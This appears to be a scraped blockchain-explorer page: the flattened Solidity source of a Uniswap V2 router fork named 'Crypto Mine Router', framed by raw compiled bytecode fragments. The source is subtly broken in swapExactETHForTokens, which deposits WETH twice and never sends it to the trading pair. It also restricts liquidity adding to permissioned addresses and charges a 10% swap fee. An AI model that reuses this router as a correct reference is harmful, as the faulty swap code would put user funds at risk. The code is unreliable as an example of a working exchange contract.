65640000000000006064820152608401610216565b505050565b6001600160a01b03811681146104de57600080fd5b50565b6000602082840312156104f357600080fd5b81356104fe816104c9565b9392505050565b60006020828403121561051757600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600082198211156105475761054761051e565b500190565b60008160001904831182151516156105665761056661051e565b500290565b60008261058857634e487b7160e01b600052601260045260246000fd5b500490565b60008282101561059f5761059f61051e565b500390565b634e487b7160e01b600052603260045260246000fdfea26469706673582212209b4b54ba72f6bfc82143c79cc1f5a162c07439a42134263127c174db3cd6476864736f6c63430008090033
[ 38 ]
0xF302CA85E7c690Ae19d98F8Aa44Af52F7F3086Fc
/** *Submitted for verification at Etherscan.io on 2021-04-30 */ /** *Submitted for verification at Etherscan.io on 2020-06-05 */ pragma solidity =0.6.6; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function permissions(address user) external view returns (bool status); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB, address feeOwner) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function feeOwner() external view returns (address); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline, address feeOwner ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline, address feeOwner ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } contract UniswapV2Router02 is IUniswapV2Router02 { using SafeMath for uint; address public immutable override factory; address public immutable override WETH; modifier ensure(uint deadline) { require(deadline >= block.timestamp, 'Crypto Mine Router: EXPIRED'); _; } modifier authority(){ require(IUniswapV2Factory(factory).permissions(msg.sender),"Crypto Mine: access denied"); _; } constructor(address _factory, address _WETH) public { factory = _factory; WETH = _WETH; } receive() external payable { assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract } // **** ADD LIQUIDITY **** function _addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address feeOwner ) internal virtual authority returns (uint amountA, uint amountB) { // create the pair if it doesn't exist yet if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) { IUniswapV2Factory(factory).createPair(tokenA, tokenB,feeOwner); } (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB); if (reserveA == 0 && reserveB == 0) { (amountA, amountB) = (amountADesired, amountBDesired); } else { uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB); if (amountBOptimal <= amountBDesired) { require(amountBOptimal >= amountBMin, 'Crypto Mine Router: INSUFFICIENT_B_AMOUNT'); (amountA, amountB) = (amountADesired, amountBOptimal); } else { uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA); assert(amountAOptimal <= amountADesired); require(amountAOptimal >= amountAMin, 'Crypto Mine Router: INSUFFICIENT_A_AMOUNT'); (amountA, amountB) = (amountAOptimal, amountBDesired); } } } function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline, address feeOwner ) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) { (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin, feeOwner); address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA); TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB); liquidity = IUniswapV2Pair(pair).mint(to); } function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline, address feeOwner ) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) { (amountToken, amountETH) = _addLiquidity( token, WETH, amountTokenDesired, msg.value, amountTokenMin, amountETHMin, feeOwner ); address pair = UniswapV2Library.pairFor(factory, token, WETH); TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken); IWETH(WETH).deposit{value: amountETH}(); assert(IWETH(WETH).transfer(pair, amountETH)); liquidity = IUniswapV2Pair(pair).mint(to); // refund dust eth, if any if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH); } // **** REMOVE LIQUIDITY **** function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountA, uint amountB) { address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair (uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to); (address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB); (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0); require(amountA >= amountAMin, 'Crypto Mine Router: INSUFFICIENT_A_AMOUNT'); require(amountB >= amountBMin, 'Crypto Mine Router: INSUFFICIENT_B_AMOUNT'); } function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) { (amountToken, amountETH) = removeLiquidity( token, WETH, liquidity, amountTokenMin, amountETHMin, address(this), deadline ); TransferHelper.safeTransfer(token, to, amountToken); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint amountA, uint amountB) { address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); uint value = approveMax ? uint(-1) : liquidity; IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); (amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline); } function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint amountToken, uint amountETH) { address pair = UniswapV2Library.pairFor(factory, token, WETH); uint value = approveMax ? uint(-1) : liquidity; IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); (amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline); } // **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) **** function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountETH) { (, amountETH) = removeLiquidity( token, WETH, liquidity, amountTokenMin, amountETHMin, address(this), deadline ); TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this))); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint amountETH) { address pair = UniswapV2Library.pairFor(factory, token, WETH); uint value = approveMax ? uint(-1) : liquidity; IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); amountETH = removeLiquidityETHSupportingFeeOnTransferTokens( token, liquidity, amountTokenMin, amountETHMin, to, deadline ); } // **** SWAP **** // requires the initial amount to have already been sent to the first pair function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0,) = UniswapV2Library.sortTokens(input, output); uint amountOut = amounts[i + 1]; (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0)); address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to; IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap( amount0Out, amount1Out, to, new bytes(0) ); } } function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) returns (uint[] memory amounts) { amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path); require(amounts[amounts.length - 1] >= amountOutMin, 'Crypto Mine Router: INSUFFICIENT_OUTPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) returns (uint[] memory amounts) { amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path); require(amounts[0] <= amountInMax, 'Crypto Mine Router: EXCESSIVE_INPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual override payable ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, 'Crypto Mine Router: INVALID_PATH'); amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path); require(amounts[amounts.length - 1] >= amountOutMin, 'Crypto Mine Router: INSUFFICIENT_OUTPUT_AMOUNT'); IWETH(WETH).deposit{value: amounts[0]}(); IWETH(WETH).deposit{value: amounts[0]}(); _swap(amounts, path, to); } function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external virtual override ensure(deadline) returns (uint[] memory amounts) { require(path[path.length - 1] == WETH, 'Crypto Mine Router: INVALID_PATH'); amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path); require(amounts[0] <= amountInMax, 'Crypto Mine Router: EXCESSIVE_INPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amounts[amounts.length - 1]); TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]); } function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual override ensure(deadline) returns (uint[] memory amounts) { require(path[path.length - 1] == WETH, 'Crypto Mine Router: INVALID_PATH'); amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path); require(amounts[amounts.length - 1] >= amountOutMin, 'Crypto Mine Router: INSUFFICIENT_OUTPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amounts[amounts.length - 1]); TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]); } function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external virtual override payable ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, 'Crypto Mine Router: INVALID_PATH'); amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path); require(amounts[0] <= msg.value, 'Crypto Mine Router: EXCESSIVE_INPUT_AMOUNT'); IWETH(WETH).deposit{value: amounts[0]}(); assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0])); _swap(amounts, path, to); // refund dust eth, if any if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]); } // **** SWAP (supporting fee-on-transfer tokens) **** // requires the initial amount to have already been sent to the first pair function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0,) = UniswapV2Library.sortTokens(input, output); IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)); uint amountInput; uint amountOutput; { // scope to avoid stack too deep errors (uint reserve0, uint reserve1,) = pair.getReserves(); (uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0); amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput); amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput); } (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0)); address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to; pair.swap(amount0Out, amount1Out, to, new bytes(0)); } } function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) { TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn ); uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to); _swapSupportingFeeOnTransferTokens(path, to); require( IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, 'Crypto Mine Router: INSUFFICIENT_OUTPUT_AMOUNT' ); } function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override payable ensure(deadline) { require(path[0] == WETH, 'Crypto Mine Router: INVALID_PATH'); uint amountIn = msg.value; IWETH(WETH).deposit{value: amountIn}(); assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn)); uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to); _swapSupportingFeeOnTransferTokens(path, to); require( IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, 'Crypto Mine Router: INSUFFICIENT_OUTPUT_AMOUNT' ); } function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) { require(path[path.length - 1] == WETH, 'Crypto Mine Router: INVALID_PATH'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn ); _swapSupportingFeeOnTransferTokens(path, address(this)); uint amountOut = IERC20(WETH).balanceOf(address(this)); require(amountOut >= amountOutMin, 'Crypto Mine Router: INSUFFICIENT_OUTPUT_AMOUNT'); IWETH(WETH).withdraw(amountOut); TransferHelper.safeTransferETH(to, amountOut); } // **** LIBRARY FUNCTIONS **** function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) { return UniswapV2Library.quote(amountA, reserveA, reserveB); } function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure virtual override returns (uint amountOut) { return UniswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut); } function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) public pure virtual override returns (uint amountIn) { return UniswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut); } function getAmountsOut(uint amountIn, address[] memory path) public view virtual override returns (uint[] memory amounts) { return UniswapV2Library.getAmountsOut(factory, amountIn, path); } function getAmountsIn(uint amountOut, address[] memory path) public view virtual override returns (uint[] memory amounts) { return UniswapV2Library.getAmountsIn(factory, amountOut, path); } } // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'Crypto Mine: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'Crypto Mine: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'fb4b5de7a65fb42df2149855f5c8cef382fa0de1336c8325c11a0e47d53edf4f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'Crypto Mine: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'Crypto Mine: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'Crypto Mine: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(900); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'Crypto Mine: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'Crypto Mine: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(900); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'Crypto Mine: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'Crypto Mine: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } }
0x60806040526004361061014f5760003560e01c806385f8c259116100b6578063b6f9de951161006f578063b6f9de9514610a0a578063baa2abde14610a8e578063c45a015514610aeb578063d06ca61f14610b00578063ded9382a14610bb5578063fb3bdb4114610c2857610188565b806385f8c259146108175780638803dbee1461084d578063a648ec7a146108e3578063ad5c464814610950578063ad615dec14610981578063af2979eb146109b757610188565b80634a25d94a116101085780634a25d94a146104f05780635b0d5984146105865780635c11d795146105f957806370629c891461068f578063791ac947146106fd5780637ff36ab51461079357610188565b806302751cec1461018d578063054d50d4146101f957806318cbafe5146102415780631f00ca74146103275780632195995c146103dc57806338ed17391461045a57610188565b3661018857336001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2161461018657fe5b005b600080fd5b34801561019957600080fd5b506101e0600480360360c08110156101b057600080fd5b506001600160a01b0381358116916020810135916040820135916060810135916080820135169060a00135610cac565b6040805192835260208301919091528051918290030190f35b34801561020557600080fd5b5061022f6004803603606081101561021c57600080fd5b5080359060208101359060400135610dc6565b60408051918252519081900360200190f35b34801561024d57600080fd5b506102d7600480360360a081101561026457600080fd5b813591602081013591810190606081016040820135600160201b81111561028a57600080fd5b82018360208201111561029c57600080fd5b803590602001918460208302840111600160201b831117156102bd57600080fd5b91935091506001600160a01b038135169060200135610ddb565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103135781810151838201526020016102fb565b505050509050019250505060405180910390f35b34801561033357600080fd5b506102d76004803603604081101561034a57600080fd5b81359190810190604081016020820135600160201b81111561036b57600080fd5b82018360208201111561037d57600080fd5b803590602001918460208302840111600160201b8311171561039e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611108945050505050565b3480156103e857600080fd5b506101e0600480360361016081101561040057600080fd5b506001600160a01b038135811691602081013582169160408201359160608101359160808201359160a08101359091169060c08101359060e081013515159060ff610100820135169061012081013590610140013561113e565b34801561046657600080fd5b506102d7600480360360a081101561047d57600080fd5b813591602081013591810190606081016040820135600160201b8111156104a357600080fd5b8201836020820111156104b557600080fd5b803590602001918460208302840111600160201b831117156104d657600080fd5b91935091506001600160a01b038135169060200135611238565b3480156104fc57600080fd5b506102d7600480360360a081101561051357600080fd5b813591602081013591810190606081016040820135600160201b81111561053957600080fd5b82018360208201111561054b57600080fd5b803590602001918460208302840111600160201b8311171561056c57600080fd5b91935091506001600160a01b038135169060200135611383565b34801561059257600080fd5b5061022f60048036036101408110156105aa57600080fd5b506001600160a01b0381358116916020810135916040820135916060810135916080820135169060a08101359060c081013515159060ff60e0820135169061010081013590610120013561150f565b34801561060557600080fd5b50610186600480360360a081101561061c57600080fd5b813591602081013591810190606081016040820135600160201b81111561064257600080fd5b82018360208201111561065457600080fd5b803590602001918460208302840111600160201b8311171561067557600080fd5b91935091506001600160a01b03813516906020013561161d565b6106df600480360360e08110156106a557600080fd5b506001600160a01b038135811691602081013591604082013591606081013591608082013581169160a08101359160c090910135166118b2565b60408051938452602084019290925282820152519081900360600190f35b34801561070957600080fd5b50610186600480360360a081101561072057600080fd5b813591602081013591810190606081016040820135600160201b81111561074657600080fd5b82018360208201111561075857600080fd5b803590602001918460208302840111600160201b8311171561077957600080fd5b91935091506001600160a01b038135169060200135611b59565b6102d7600480360360808110156107a957600080fd5b81359190810190604081016020820135600160201b8111156107ca57600080fd5b8201836020820111156107dc57600080fd5b803590602001918460208302840111600160201b831117156107fd57600080fd5b91935091506001600160a01b038135169060200135611ddd565b34801561082357600080fd5b5061022f6004803603606081101561083a57600080fd5b50803590602081013590604001356120c2565b34801561085957600080fd5b506102d7600480360360a081101561087057600080fd5b813591602081013591810190606081016040820135600160201b81111561089657600080fd5b8201836020820111156108a857600080fd5b803590602001918460208302840111600160201b831117156108c957600080fd5b91935091506001600160a01b0381351690602001356120cf565b3480156108ef57600080fd5b506106df600480360361012081101561090757600080fd5b506001600160a01b038135811691602081013582169160408201359160608101359160808201359160a08101359160c082013581169160e08101359161010090910135166121c8565b34801561095c57600080fd5b50610965612306565b604080516001600160a01b039092168252519081900360200190f35b34801561098d57600080fd5b5061022f600480360360608110156109a457600080fd5b508035906020810135906040013561232a565b3480156109c357600080fd5b5061022f600480360360c08110156109da57600080fd5b506001600160a01b0381358116916020810135916040820135916060810135916080820135169060a00135612337565b61018660048036036080811015610a2057600080fd5b81359190810190604081016020820135600160201b811115610a4157600080fd5b820183602082011115610a5357600080fd5b803590602001918460208302840111600160201b83111715610a7457600080fd5b91935091506001600160a01b0381351690602001356124b8565b348015610a9a57600080fd5b506101e0600480360360e0811015610ab157600080fd5b506001600160a01b038135811691602081013582169160408201359160608101359160808201359160a08101359091169060c00135612844565b348015610af757600080fd5b50610965612a88565b348015610b0c57600080fd5b506102d760048036036040811015610b2357600080fd5b81359190810190604081016020820135600160201b811115610b4457600080fd5b820183602082011115610b5657600080fd5b803590602001918460208302840111600160201b83111715610b7757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550612aac945050505050565b348015610bc157600080fd5b506101e06004803603610140811015610bd957600080fd5b506001600160a01b0381358116916020810135916040820135916060810135916080820135169060a08101359060c081013515159060ff60e08201351690610100810135906101200135612ad9565b6102d760048036036080811015610c3e57600080fd5b81359190810190604081016020820135600160201b811115610c5f57600080fd5b